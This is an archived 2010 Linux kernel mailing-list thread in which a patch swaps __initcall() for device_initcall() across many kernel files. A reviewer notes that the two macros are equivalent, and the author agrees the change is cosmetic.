-__initcall(audit_classes_init);
+device_initcall(audit_classes_init);
diff --git a/lib/debugobjects.c b/lib/debugobjects.c
index a9a8996..ee41495 100644
--- a/lib/debugobjects.c
+++ b/lib/debugobjects.c
@@ -666,7 +666,7 @@ err:
 
 	return -ENOMEM;
 }
-__initcall(debug_objects_init_debugfs);
+device_initcall(debug_objects_init_debugfs);
 
 #else
 static inline void debug_objects_init_debugfs(void) { }
diff --git a/mm/bounce.c b/mm/bounce.c
index a2b76a5..b6df140 100644
--- a/mm/bounce.c
+++ b/mm/bounce.c
@@ -39,7 +39,7 @@ static __init int init_emergency_pool(void)
 	return 0;
 }
 
-__initcall(init_emergency_pool);
+device_initcall(init_emergency_pool);
 
 /*
  * highmem version, map in to vec
diff --git a/mm/memory.c b/mm/memory.c
index 5b7f200..b39f34e 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -3231,7 +3231,7 @@ static int __init gate_vma_init(void)
 	gate_vma.vm_flags |= VM_ALWAYSDUMP;
 	return 0;
 }
-__initcall(gate_vma_init);
+device_initcall(gate_vma_init);
 #endif
 
 struct vm_area_struct *get_gate_vma(struct task_struct *tsk)
diff --git a/mm/mm_init.c b/mm/mm_init.c
index 4e0e265..6586ce5 100644
--- a/mm/mm_init.c
+++ b/mm/mm_init.c
@@ -149,4 +149,4 @@ static int __init mm_sysfs_init(void)
 	return 0;
 }
 
-__initcall(mm_sysfs_init);
+device_initcall(mm_sysfs_init);
diff --git a/mm/slab.c b/mm/slab.c
index a9f325b..891218c 100644
--- a/mm/slab.c
+++ b/mm/slab.c
@@ -1597,7 +1597,7 @@ static int __init cpucache_init(void)
 		start_cpu_timer(cpu);
 	return 0;
 }
-__initcall(cpucache_init);
+device_initcall(cpucache_init);
 
 /*
  * Interface to system's page allocator. No need to hold the cache-lock.
diff --git a/mm/slub.c b/mm/slub.c
index b364844..a048aa5 100644
--- a/mm/slub.c
+++ b/mm/slub.c
@@ -4577,7 +4577,7 @@ static int __init slab_sysfs_init(void)
 	return 0;
 }
 
-__initcall(slab_sysfs_init);
+device_initcall(slab_sysfs_init);
 #endif
 
 /*
diff --git a/mm/swapfile.c b/mm/swapfile.c
index 6cd0a8f..c1e2b6d 100644
--- a/mm/swapfile.c
+++ b/mm/swapfile.c
@@ -1764,7 +1764,7 @@ static int __init procswaps_init(void)
 	proc_create("swaps", 0, NULL, &proc_swaps_operations);
 	return 0;
 }
-__initcall(procswaps_init);
+device_initcall(procswaps_init);
 #endif /* CONFIG_PROC_FS */
 
 #ifdef MAX_SWAPFILES_CHECK
diff --git a/net/ipv4/syncookies.c b/net/ipv4/syncookies.c
index 5c24db4..5bdd7d2 100644
--- a/net/ipv4/syncookies.c
+++ b/net/ipv4/syncookies.c
@@ -32,7 +32,7 @@ static __init int init_syncookies(void)
 	get_random_bytes(syncookie_secret, sizeof(syncookie_secret));
 	return 0;
 }
-__initcall(init_syncookies);
+device_initcall(init_syncookies);
 
 #define COOKIEBITS 24	/* Upper bits store count */
 #define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)
diff --git a/net/ipv4/sysctl_net_ipv4.c b/net/ipv4/sysctl_net_ipv4.c
index c1bc074..6e61075 100644
--- a/net/ipv4/sysctl_net_ipv4.c
+++ b/net/ipv4/sysctl_net_ipv4.c
@@ -748,4 +748,4 @@ static __init int sysctl_ipv4_init(void)
 	return 0;
 }
 
-__initcall(sysctl_ipv4_init);
+device_initcall(sysctl_ipv4_init);
diff --git a/security/keys/proc.c b/security/keys/proc.c
index 9d01021..9412316 100644
--- a/security/keys/proc.c
+++ b/security/keys/proc.c
@@ -83,7 +83,7 @@ static int __init key_proc_init(void)
 
 } /* end key_proc_init() */
 
-__initcall(key_proc_init);
+device_initcall(key_proc_init);
 
 /*****************************************************************************/
 /*
diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c
index 5feecb4..db02af5 100644
--- a/security/selinux/hooks.c
+++ b/security/selinux/hooks.c
@@ -5783,7 +5783,7 @@ out:
 	return err;
 }
 
-__initcall(selinux_nf_ip_init);
+device_initcall(selinux_nf_ip_init);
 
 #ifdef CONFIG_SECURITY_SELINUX_DISABLE
 static void selinux_nf_ip_exit(void)
diff --git a/security/selinux/netif.c b/security/selinux/netif.c
index b4e14bc..9f89a94 100644
--- a/security/selinux/netif.c
+++ b/security/selinux/netif.c
@@ -315,5 +315,5 @@ static __init int sel_netif_init(void)
 	return err;
 }
 
-__initcall(sel_netif_init);
+device_initcall(sel_netif_init);
 
diff --git a/security/selinux/netlink.c b/security/selinux/netlink.c
index 1ae5564..403b707 100644
--- a/security/selinux/netlink.c
+++ b/security/selinux/netlink.c
@@ -113,4 +113,4 @@ static int __init selnl_init(void)
 	return 0;
 }
 
-__initcall(selnl_init);
+device_initcall(selnl_init);
diff --git a/security/selinux/netnode.c b/security/selinux/netnode.c
index 7100072..e7ae484 100644
--- a/security/selinux/netnode.c
+++ b/security/selinux/netnode.c
@@ -344,4 +344,4 @@ static __init int sel_netnode_init(void)
 	return ret;
 }
 
-__initcall(sel_netnode_init);
+device_initcall(sel_netnode_init);
diff --git a/security/selinux/netport.c b/security/selinux/netport.c
index fe7fba6..94c29f4 100644
--- a/security/selinux/netport.c
+++ b/security/selinux/netport.c
@@ -278,4 +278,4 @@ static __init int sel_netport_init(void)
 	return ret;
 }
 
-__initcall(sel_netport_init);
+device_initcall(sel_netport_init);
diff --git a/security/selinux/selinuxfs.c b/security/selinux/selinuxfs.c
index cd191bb..03eb7d8 100644
--- a/security/selinux/selinuxfs.c
+++ b/security/selinux/selinuxfs.c
@@ -1730,7 +1730,7 @@ static int __init init_sel_fs(void)
 	return err;
 }
 
-__initcall(init_sel_fs);
+device_initcall(init_sel_fs);
 
 #ifdef CONFIG_SECURITY_SELINUX_DISABLE
 void exit_sel_fs(void)
diff --git a/security/selinux/ss/services.c b/security/selinux/ss/services.c
index cf27b3e..e7eb598 100644
--- a/security/selinux/ss/services.c
+++ b/security/selinux/ss/services.c
@@ -2964,7 +2964,7 @@ static int __init aurule_init(void)
 
 	return err;
 }
-__initcall(aurule_init);
+device_initcall(aurule_init);
 
 #ifdef CONFIG_NETLABEL
 /**
diff --git a/security/smack/smackfs.c b/security/smack/smackfs.c
index aeead75..8faf43e 100644
--- a/security/smack/smackfs.c
+++ b/security/smack/smackfs.c
@@ -1366,4 +1366,4 @@ static int __init init_smk_fs(void)
 	return err;
 }
 
-__initcall(init_smk_fs);
+device_initcall(init_smk_fs);
diff --git a/sound/last.c b/sound/last.c
index bdd0857..5efc26a 100644
--- a/sound/last.c
+++ b/sound/last.c
@@ -38,4 +38,4 @@ static int __init alsa_sound_last_init(void)
 	return 0;
 }
 
-__initcall(alsa_sound_last_init);
+device_initcall(alsa_sound_last_init);
-- 
1.6.5.GIT

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <rdunlap@xenotime.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.arm.kernel,gmane.linux.redhat.security.audit,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.comp.security.selinux,gmane.linux.ports.sparc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Cosmetic:Partially remove deprecated __initcall() and
 change to
Date: Fri, 19 Mar 2010 15:56:21 -0700
Organization: YPO4
Lines: 226
Approved: news@gmane.org
Message-ID: <4BA40115.2000509@xenotime.net>
References: <1269028291-9103-1-git-send-email-justinmattock@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269039395 32670 80.91.229.12 (19 Mar 2010 22:56:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 19 Mar 2010 22:56:35 +0000 (UTC)
Cc: trivial@kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-audit@redhat.com, uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, selinux@tycho.nsa.gov,
	sparclinux@vger.kernel.org, x86@kernel.org, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: "Justin P. Mattock" <justinmattock@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Mar 19 23:56:28 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1Nsl7D-000700-5p
	for glpi-linux-ia64-2@lo.gmane.org; Fri, 19 Mar 2010 23:56:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751695Ab0CSW4Z (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Fri, 19 Mar 2010 18:56:25 -0400
Original-Received: from xenotime.net ([72.52.64.118]:49669 "HELO xenotime.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750751Ab0CSW4X (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Fri, 19 Mar 2010 18:56:23 -0400
Original-Received: from chimera.site ([71.245.98.113]) by xenotime.net for <linux-ia64@vger.kernel.org>; Fri, 19 Mar 2010 15:56:22 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Thunderbird/3.0
In-Reply-To: <1269028291-9103-1-git-send-email-justinmattock@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21221 gmane.linux.ports.arm.kernel:76371 gmane.linux.redhat.security.audit:3392 gmane.linux.hardware.blackfin.kernel.devel:3787 gmane.linux.ports.mips.general:27341 gmane.linux.ports.parisc:2690 gmane.comp.security.selinux:13432 gmane.linux.ports.sparc:13051 gmane.linux.network:155297 gmane.linux.kernel:963795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2690>

On 03/19/10 12:51, Justin P. Mattock wrote:
> After doing some things on a small issue,
> I noticed through web surfing, that there were patches
> submitted pertaining that __initcall is deprecated,
> and device_initcall should be used.

Where was this discussion?  Do you have any pointers to it?

I don't see any mention of __initcall being deprecated in
Linus' mainline git tree, or in linux-next, or in mmotm.
Where are those patches?


> So as a change of subject(since what I was looking at
> was frustrating me),I decided to grep the whole tree
> and make the change(partially).
> 
> Currently I'm running this patch on my system, kernel compiles
> without any errors or warnings.(thought there would be a speed increase
> but didn't see much(if any)).

No, __initcall(x) is just a shorthand version of typing
device_initcall(x).  They do the same thing.

> Biggest problem I have though is testing this on other hardware types
> (I only have a macbook,and an iMac).
> So please if you have the access to other arch/hardware types please
> test.
> 
> Now what I mean by partially is the __initcall function is still
> there, so(if any) userspace apps/libs depend on this it's there
> so they dont break and/or any other subsystem, that needs time
> to make the changes.

The only thing that might be affected is building out-of-tree drivers,
but those are easy to fix.

> Note:
> the remaining files that still have __initcall in them are:
> (according to grep)
> 
> arch/um/include/shared/init.h
> include/linux/init.h
> scripts/checkpatch.pl
> 
> either I or somebody else, can change this(although a bit
> concerned about breaking things).
> 
> Signed-off-by: Justin P. Mattock <justinmattock@gmail.com>
> ---
>  Documentation/DocBook/kernel-hacking.tmpl    |    4 ++--
>  Documentation/cpu-freq/cpu-drivers.txt       |    2 +-
>  Documentation/kbuild/makefiles.txt           |    2 +-
>  arch/arm/mach-at91/leds.c                    |    2 +-
>  arch/arm/mach-clps711x/p720t.c               |    2 +-
>  arch/arm/mach-ebsa110/leds.c                 |    2 +-
>  arch/arm/mach-footbridge/cats-hw.c           |    2 +-
>  arch/arm/mach-footbridge/ebsa285-leds.c      |    2 +-
>  arch/arm/mach-footbridge/netwinder-hw.c      |    2 +-
>  arch/arm/mach-footbridge/netwinder-leds.c    |    2 +-
>  arch/arm/mach-ks8695/leds.c                  |    2 +-
>  arch/arm/mach-omap1/leds.c                   |    2 +-
>  arch/arm/mach-omap1/pm.c                     |    2 +-
>  arch/arm/mach-orion5x/db88f5281-setup.c      |    2 +-
>  arch/arm/mach-orion5x/rd88f5182-setup.c      |    2 +-
>  arch/arm/mach-pxa/generic.c                  |    2 +-
>  arch/arm/mach-pxa/pxa25x.c                   |    2 +-
>  arch/arm/mach-shark/leds.c                   |    2 +-
>  arch/blackfin/kernel/bfin_gpio.c             |    2 +-
>  arch/blackfin/mach-common/pm.c               |    2 +-
>  arch/cris/arch-v10/kernel/debugport.c        |    2 +-
>  arch/cris/arch-v10/kernel/fasttimer.c        |    2 +-
>  arch/cris/arch-v10/mm/init.c                 |    2 +-
>  arch/cris/arch-v32/kernel/fasttimer.c        |    2 +-
>  arch/cris/arch-v32/kernel/pinmux.c           |    2 +-
>  arch/cris/arch-v32/kernel/signal.c           |    2 +-
>  arch/cris/arch-v32/mach-a3/io.c              |    2 +-
>  arch/cris/arch-v32/mach-a3/pinmux.c          |    2 +-
>  arch/cris/arch-v32/mach-fs/io.c              |    2 +-
>  arch/cris/arch-v32/mach-fs/pinmux.c          |    2 +-
>  arch/cris/kernel/profile.c                   |    2 +-
>  arch/cris/kernel/time.c                      |    2 +-
>  arch/cris/kernel/traps.c                     |    2 +-
>  arch/frv/kernel/gdb-stub.c                   |    2 +-
>  arch/frv/kernel/pm-mb93093.c                 |    2 +-
>  arch/frv/kernel/pm.c                         |    2 +-
>  arch/frv/kernel/sysctl.c                     |    2 +-
>  arch/h8300/kernel/gpio.c                     |    2 +-
>  arch/ia64/hp/sim/simeth.c                    |    2 +-
>  arch/ia64/hp/sim/simserial.c                 |    2 +-
>  arch/ia64/kernel/audit.c                     |    2 +-
>  arch/ia64/kernel/crash.c                     |    2 +-
>  arch/ia64/kernel/cyclone.c                   |    2 +-
>  arch/ia64/kernel/perfmon.c                   |    2 +-
>  arch/ia64/kernel/setup.c                     |    2 +-
>  arch/ia64/kernel/uncached.c                  |    2 +-
>  arch/ia64/kernel/unwind.c                    |    2 +-
>  arch/ia64/mm/init.c                          |    2 +-
>  arch/mips/Makefile                           |    2 +-
>  arch/mips/kernel/unaligned.c                 |    2 +-
>  arch/mips/lasat/sysctl.c                     |    2 +-
>  arch/mips/math-emu/cp1emu.c                  |    2 +-
>  arch/mips/nxp/pnx8550/common/proc.c          |    2 +-
>  arch/mips/sibyte/sb1250/bus_watcher.c        |    2 +-
>  arch/mn10300/kernel/gdb-stub.c               |    2 +-
>  arch/mn10300/kernel/mn10300-serial.c         |    2 +-
>  arch/mn10300/kernel/profile.c                |    2 +-
>  arch/parisc/kernel/pci-dma.c                 |    2 +-
>  arch/parisc/kernel/pdc_chassis.c             |    2 +-
>  arch/powerpc/kernel/audit.c                  |    2 +-
>  arch/powerpc/kernel/idle.c                   |    2 +-
>  arch/powerpc/kernel/irq.c                    |    2 +-
>  arch/powerpc/kernel/proc_powerpc.c           |    2 +-
>  arch/powerpc/kernel/prom.c                   |    4 ++--
>  arch/powerpc/kernel/rtas-proc.c              |    2 +-
>  arch/powerpc/kernel/rtasd.c                  |    2 +-
>  arch/powerpc/kernel/sysfs.c                  |    2 +-
>  arch/powerpc/kernel/tau_6xx.c                |    2 +-
>  arch/powerpc/kernel/vio.c                    |    2 +-
>  arch/powerpc/platforms/iseries/lpevents.c    |    2 +-
>  arch/powerpc/platforms/iseries/mf.c          |    2 +-
>  arch/powerpc/platforms/iseries/proc.c        |    2 +-
>  arch/powerpc/platforms/iseries/viopath.c     |    2 +-
>  arch/powerpc/platforms/pseries/eeh.c         |    2 +-
>  arch/powerpc/platforms/pseries/hvCall_inst.c |    2 +-
>  arch/powerpc/platforms/pseries/power.c       |    2 +-
>  arch/powerpc/platforms/pseries/ras.c         |    2 +-
>  arch/powerpc/platforms/pseries/reconfig.c    |    2 +-
>  arch/powerpc/xmon/xmon.c                     |    2 +-
>  arch/s390/appldata/appldata_base.c           |    2 +-
>  arch/s390/kernel/audit.c                     |    2 +-
>  arch/s390/kernel/compat_exec_domain.c        |    2 +-
>  arch/s390/kernel/ipl.c                       |    2 +-
>  arch/s390/kernel/topology.c                  |    2 +-
>  arch/sh/boards/board-edosk7760.c             |    2 +-
>  arch/sh/boards/board-sh7785lcr.c             |    2 +-
>  arch/sh/boards/mach-cayman/setup.c           |    2 +-
>  arch/sh/boards/mach-landisk/setup.c          |    2 +-
>  arch/sh/boards/mach-r2d/setup.c              |    2 +-
>  arch/sh/boards/mach-sdk7786/setup.c          |    2 +-
>  arch/sh/boards/mach-se/7206/setup.c          |    2 +-
>  arch/sh/boards/mach-se/7751/setup.c          |    2 +-
>  arch/sh/boards/mach-sh03/setup.c             |    2 +-
>  arch/sh/kernel/traps_64.c                    |    2 +-
>  arch/sparc/kernel/apc.c                      |    2 +-
>  arch/sparc/kernel/audit.c                    |    2 +-
>  arch/sparc/kernel/mdesc.c                    |    2 +-
>  arch/sparc/kernel/pmc.c                      |    2 +-
>  arch/um/drivers/mconsole_kern.c              |    8 ++++----
>  arch/um/drivers/net_kern.c                   |    2 +-
>  arch/um/drivers/stderr_console.c             |    2 +-
>  arch/um/drivers/ubd_kern.c                   |    4 ++--
>  arch/um/kernel/exitcode.c                    |    2 +-
>  arch/um/kernel/physmem.c                     |    2 +-
>  arch/um/os-Linux/aio.c                       |    4 ++--
>  arch/um/os-Linux/skas/mem.c                  |    2 +-
>  arch/um/os-Linux/skas/process.c              |    2 +-
>  arch/um/os-Linux/umid.c                      |    2 +-
>  arch/um/sys-i386/tls.c                       |    2 +-
>  arch/x86/kernel/audit_64.c                   |    2 +-
>  arch/x86/kernel/tlb_uv.c                     |    4 ++--
>  arch/x86/kernel/vsyscall_64.c                |    4 ++--
>  arch/x86/mm/dump_pagetables.c                |    2 +-
>  arch/x86/vdso/vdso32-setup.c                 |    4 ++--
>  arch/x86/vdso/vma.c                          |    2 +-
>  arch/xtensa/platforms/iss/console.c          |    2 +-
>  drivers/net/arm/am79c961a.c                  |    2 +-
>  drivers/net/hamradio/baycom_epp.c            |    1 +
>  drivers/net/hamradio/baycom_par.c            |    1 +
>  drivers/net/hamradio/baycom_ser_fdx.c        |    1 +
>  drivers/net/hamradio/baycom_ser_hdx.c        |    1 +
>  drivers/s390/char/sclp_cmd.c                 |    2 +-
>  drivers/s390/char/sclp_config.c              |    2 +-
>  drivers/s390/char/sclp_cpi_sys.c             |    2 +-
>  drivers/s390/char/sclp_vt220.c               |    2 +-
>  drivers/s390/cio/blacklist.c                 |    2 +-
>  drivers/staging/rtl8192u/ieee80211/api.c     |    2 +-
>  fs/aio.c                                     |    2 +-
>  fs/compat_ioctl.c                            |    2 +-
>  ipc/ipc_sysctl.c                             |    2 +-
>  ipc/mqueue.c                                 |    2 +-
>  ipc/util.c                                   |    2 +-
>  kernel/audit.c                               |    2 +-
>  kernel/audit_tree.c                          |    2 +-
>  kernel/dma.c                                 |    2 +-
>  kernel/futex.c                               |    2 +-
>  kernel/lockdep_proc.c                        |    2 +-
>  kernel/pid_namespace.c                       |    2 +-
>  kernel/posix-cpu-timers.c                    |    2 +-
>  kernel/posix-timers.c                        |    2 +-
>  kernel/resource.c                            |    2 +-
>  kernel/sched_debug.c                         |    2 +-
>  kernel/time/timer_list.c                     |    2 +-
>  kernel/time/timer_stats.c                    |    2 +-
>  kernel/tracepoint.c                          |    2 +-
>  kernel/utsname_sysctl.c                      |    2 +-
>  lib/audit.c                                  |    2 +-
>  lib/debugobjects.c                           |    2 +-
>  mm/bounce.c                                  |    2 +-
>  mm/memory.c                                  |    2 +-
>  mm/mm_init.c                                 |    2 +-
>  mm/slab.c                                    |    2 +-
>  mm/slub.c                                    |    2 +-
>  mm/swapfile.c                                |    2 +-
>  net/ipv4/syncookies.c                        |    2 +-
>  net/ipv4/sysctl_net_ipv4.c                   |    2 +-
>  security/keys/proc.c                         |    2 +-
>  security/selinux/hooks.c                     |    2 +-
>  security/selinux/netif.c                     |    2 +-
>  security/selinux/netlink.c                   |    2 +-
>  security/selinux/netnode.c                   |    2 +-
>  security/selinux/netport.c                   |    2 +-
>  security/selinux/selinuxfs.c                 |    2 +-
>  security/selinux/ss/services.c               |    2 +-
>  security/smack/smackfs.c                     |    2 +-
>  sound/last.c                                 |    2 +-
>  166 files changed, 176 insertions(+), 172 deletions(-)


-- 
~Randy
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Justin P. Mattock" <justinmattock@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.redhat.security.audit,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.comp.security.selinux,gmane.linux.ports.sparc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Cosmetic:Partially remove deprecated __initcall() and
 change to
Date: Fri, 19 Mar 2010 16:24:28 -0700
Lines: 252
Approved: news@gmane.org
Message-ID: <4BA407AC.5030506@gmail.com>
References: <1269028291-9103-1-git-send-email-justinmattock@gmail.com> <4BA40115.2000509@xenotime.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269041115 5212 80.91.229.12 (19 Mar 2010 23:25:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 19 Mar 2010 23:25:15 +0000 (UTC)
Cc: trivial@kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-audit@redhat.com, uclinux-dist-devel@blackfin.uclinux.org,
        linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org, selinux@tycho.nsa.gov,
        sparclinux@vger.kernel.org, x86@kernel.org, netdev@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Randy Dunlap <rdunlap@xenotime.net>
Original-X-From: linux-mips-bounce@linux-mips.org Sat Mar 20 00:25:07 2010
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1NslYx-0000M7-Ef
	for sgi-linux-mips@gmane.org; Sat, 20 Mar 2010 00:25:07 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:55018 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1492635Ab0CSXYz (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 20 Mar 2010 00:24:55 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 20 Mar 2010 00:24:37 +0100 (CET)
Original-Received: from mail-gy0-f177.google.com ([209.85.160.177]:58465 "EHLO
        mail-gy0-f177.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1492517Ab0CSXYd (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sat, 20 Mar 2010 00:24:33 +0100
Original-Received: by gyg10 with SMTP id 10so1822975gyg.36
        for <linux-mips@linux-mips.org>; Fri, 19 Mar 2010 16:24:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :content-type:content-transfer-encoding;
        bh=n9HgQ/Q1wl9/cIMVFDMNNyP7wJhGBkdkjmlagsmOJ1o=;
        b=vVQ5ZYZVXBwZNqF9nbHBheAHIdO3U29W+QZZKabtGa6gm5taeNMYwYjeq5ZpQ7rzm4
         kDOv6sUgq+9SYro0WDLIhVh03HtBd/fCmttiYhUWZNpVEDDF6ydbVAG/kXzaJXjWUarZ
         xjIXwnmcmhDqZKhX2f040+aqoWvtJYCe8NeoI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        b=wlqq23bzBYV7qtOMFDzentuJYxNQJo1qTOU40tC2fjvxhK22V+7nBiiLCbbpGv0S3g
         KHwpM/4x1YGlU8XHxso0/4Q2EL4nAZXAD/Z6Hf3/3NwA9+c9e/QW24cmvOrTrhPryBYn
         5i10pM3aWRlkoQ+G3jnRIHXo3LAUjYEOOMtrY=
Original-Received: by 10.151.25.21 with SMTP id c21mr66845ybj.169.1269041065750;
        Fri, 19 Mar 2010 16:24:25 -0700 (PDT)
Original-Received: from [10.0.0.92] (cpe-76-173-26-187.socal.res.rr.com [76.173.26.187])
        by mx.google.com with ESMTPS id 8sm500153yxg.67.2010.03.19.16.24.23
        (version=SSLv3 cipher=RC4-MD5);
        Fri, 19 Mar 2010 16:24:25 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091114 Lightning/1.0pre Thunderbird/3.0b4
In-Reply-To: <4BA40115.2000509@xenotime.net>
X-archive-position: 26281
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: justinmattock@gmail.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:27343 gmane.linux.ports.arm.kernel:76372 gmane.linux.redhat.security.audit:3393 gmane.linux.hardware.blackfin.kernel.devel:3788 gmane.linux.ports.ia64:21222 gmane.linux.ports.parisc:2691 gmane.comp.security.selinux:13433 gmane.linux.ports.sparc:13052 gmane.linux.network:155299 gmane.linux.kernel:963798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2691>

On 03/19/2010 03:56 PM, Randy Dunlap wrote:
> On 03/19/10 12:51, Justin P. Mattock wrote:
>> After doing some things on a small issue,
>> I noticed through web surfing, that there were patches
>> submitted pertaining that __initcall is deprecated,
>> and device_initcall should be used.
>
> Where was this discussion?  Do you have any pointers to it?
>

The best info on this is scripts/checkpatch.pl
line #2664

when I found this I just did a quick search of __initcall
(which gives hits here and there)
https://patchwork.kernel.org/patch/23344/
(also found others at around 2008 or so)

> I don't see any mention of __initcall being deprecated in
> Linus' mainline git tree, or in linux-next, or in mmotm.
> Where are those patches?
>

I don't know(I'm out of the social pipeline when it comes to Linux news, 
and updates)..
like in the explanation part of the patch
I was looking into something else, then ran into this,
so as a break(from what I was originally doing)
decided to do this and submit.

>
>> So as a change of subject(since what I was looking at
>> was frustrating me),I decided to grep the whole tree
>> and make the change(partially).
>>
>> Currently I'm running this patch on my system, kernel compiles
>> without any errors or warnings.(thought there would be a speed increase
>> but didn't see much(if any)).
>
> No, __initcall(x) is just a shorthand version of typing
> device_initcall(x).  They do the same thing.
>

yep, that's what I found out as well(reason for the cosmetic
in the subject line).

>> Biggest problem I have though is testing this on other hardware types
>> (I only have a macbook,and an iMac).
>> So please if you have the access to other arch/hardware types please
>> test.
>>
>> Now what I mean by partially is the __initcall function is still
>> there, so(if any) userspace apps/libs depend on this it's there
>> so they dont break and/or any other subsystem, that needs time
>> to make the changes.
>
> The only thing that might be affected is building out-of-tree drivers,
> but those are easy to fix.
>

alright..main concern is making sure things don't break in the 
kernel(even though things do).

I can have a go at the header files, submit
then if it's something people agree they want to do, then they
can go from there(if not it's fine as well).

>> Note:
>> the remaining files that still have __initcall in them are:
>> (according to grep)
>>
>> arch/um/include/shared/init.h
>> include/linux/init.h
>> scripts/checkpatch.pl
>>
>> either I or somebody else, can change this(although a bit
>> concerned about breaking things).
>>
>> Signed-off-by: Justin P. Mattock<justinmattock@gmail.com>
>> ---
>>   Documentation/DocBook/kernel-hacking.tmpl    |    4 ++--
>>   Documentation/cpu-freq/cpu-drivers.txt       |    2 +-
>>   Documentation/kbuild/makefiles.txt           |    2 +-
>>   arch/arm/mach-at91/leds.c                    |    2 +-
>>   arch/arm/mach-clps711x/p720t.c               |    2 +-
>>   arch/arm/mach-ebsa110/leds.c                 |    2 +-
>>   arch/arm/mach-footbridge/cats-hw.c           |    2 +-
>>   arch/arm/mach-footbridge/ebsa285-leds.c      |    2 +-
>>   arch/arm/mach-footbridge/netwinder-hw.c      |    2 +-
>>   arch/arm/mach-footbridge/netwinder-leds.c    |    2 +-
>>   arch/arm/mach-ks8695/leds.c                  |    2 +-
>>   arch/arm/mach-omap1/leds.c                   |    2 +-
>>   arch/arm/mach-omap1/pm.c                     |    2 +-
>>   arch/arm/mach-orion5x/db88f5281-setup.c      |    2 +-
>>   arch/arm/mach-orion5x/rd88f5182-setup.c      |    2 +-
>>   arch/arm/mach-pxa/generic.c                  |    2 +-
>>   arch/arm/mach-pxa/pxa25x.c                   |    2 +-
